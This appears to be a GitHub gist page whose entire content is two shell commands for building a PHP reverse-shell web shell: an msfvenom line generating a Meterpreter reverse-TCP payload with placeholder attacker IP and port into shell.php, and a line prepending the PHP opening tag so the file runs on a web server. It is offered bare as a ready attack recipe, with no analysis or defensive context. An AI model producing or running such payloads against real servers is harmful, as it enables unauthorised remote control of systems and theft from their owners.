Skip to content

Instantly share code, notes, and snippets.

@leveled
Created October 19, 2016 00:49
Show Gist options
  • Save leveled/0f5db82770ed3c4e79cff2238439f6f1 to your computer and use it in GitHub Desktop.
Save leveled/0f5db82770ed3c4e79cff2238439f6f1 to your computer and use it in GitHub Desktop.
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment